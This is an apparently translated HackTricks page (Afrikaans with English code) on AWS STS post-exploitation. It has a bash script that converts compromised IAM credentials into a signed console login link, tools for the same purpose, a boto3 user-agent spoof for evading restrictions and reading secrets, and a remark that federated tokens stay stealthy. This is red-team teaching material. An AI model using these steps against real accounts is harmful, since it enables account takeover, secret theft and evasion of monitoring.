AWS - STS Post Exploitation

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

STS

Vir meer inligting:

AWS - IAM, Identity Center & SSO Enum

Van IAM Creds na Console

As jy daarin geslaag het om sommige IAM credentials te bekom, mag jy belangstel om toegang tot die web console te kry met behulp van die volgende gereedskap.\ Let daarop dat die gebruiker/rol die toestemming sts:GetFederationToken moet hê.

Pasgemaakte skrip

Die volgende skrip sal die default profile en ’n standaard AWS location (nie gov en nie cn) gebruik om vir jou ’n signed URL te gee wat jy kan gebruik om by die web console aan te meld:

# Get federated creds (you must indicate a policy or they won't have any perms)
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
## Don't forget to use [--profile <prof_name>] in the first line if you need to
output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess)

if [ $? -ne 0 ]; then
echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
exit $status
fi

# Parse the output
session_id=$(echo $output | jq -r '.Credentials.AccessKeyId')
session_key=$(echo $output | jq -r '.Credentials.SecretAccessKey')
session_token=$(echo $output | jq -r '.Credentials.SessionToken')

# Construct the JSON credentials string
json_creds=$(echo -n "{\"sessionId\":\"$session_id\",\"sessionKey\":\"$session_key\",\"sessionToken\":\"$session_token\"}")

# Define the AWS federation endpoint
federation_endpoint="https://signin.aws.amazon.com/federation"

# Make the HTTP request to get the sign-in token
resp=$(curl -s "$federation_endpoint" \
--get \
--data-urlencode "Action=getSigninToken" \
--data-urlencode "SessionDuration=43200" \
--data-urlencode "Session=$json_creds"
)
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)


# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"

aws_consoler

Jy kan ’n webkonsoolskakel genereer met https://github.com/NetSPI/aws_consoler.

cd /tmp
python3 -m venv env
source ./env/bin/activate
pip install aws-consoler
aws_consoler [params...] #This will generate a link to login into the console

Warning

Maak seker dat die IAM-gebruiker die sts:GetFederationToken toestemming het, of verskaf ’n rol om aan te neem.

aws-vault

aws-vault is ’n hulpmiddel om AWS credentials veilig te stoor en toegang daartoe te verkry in ’n ontwikkelingsomgewing.

aws-vault list
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
aws-vault login jonsmith # Open a browser logged as jonsmith

Note

Jy kan ook aws-vault gebruik om ’n browser console session te verkry

Van Web Console na IAM Creds

Die browser-uitbreiding https://github.com/AI-redteam/clier is in staat om IAM-geloofsbriewe uit die netwerk te onderskep voordat dit in die geheue van die browser beskerm word.

Oorkom User-Agent-beperkings met Python

Indien daar ’n beperking om sekere aksies uit te voer gebaseer op die user agent wat gebruik word (soos om die gebruik van die python boto3 library te beperk gebaseer op die user agent), is dit moontlik om die vorige tegniek te gebruik om met die web console via ’n browser te verbind, of jy kan direk die boto3 user-agent wysig deur die volgende te doen:

# Shared by ex16x41
# Create a client
session = boto3.Session(profile_name="lab6")
client = session.client("secretsmanager", region_name="us-east-1")

# Change user agent of the client
client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda params, **kwargs: params['headers'].update({'User-Agent': 'my-custom-tool'}) )

# Perform the action
response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString'])

sts:GetFederationToken

Met hierdie toestemming is dit moontlik om ’n gefedereerde identiteit te skep vir die gebruiker wat dit uitvoer, beperk tot die toestemmings wat hierdie gebruiker het.

aws sts get-federation-token --name <username>

Die token wat deur sts:GetFederationToken teruggegee word behoort aan die gefedereerde identiteit van die oproepende gebruiker, maar met beperkte regte. Selfs as die gebruiker administrator-regte het, kan sekere aksies soos die lys van IAM-gebruikers of die heg van policies nie deur die gefedereerde token uitgevoer word nie.

Boonop is hierdie metode ietwat meer stealthy, aangesien die gefedereerde gebruiker nie in die AWS Portal verskyn nie; dit kan slegs deur CloudTrail-logs of moniteringsinstrumente waargeneem word.

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks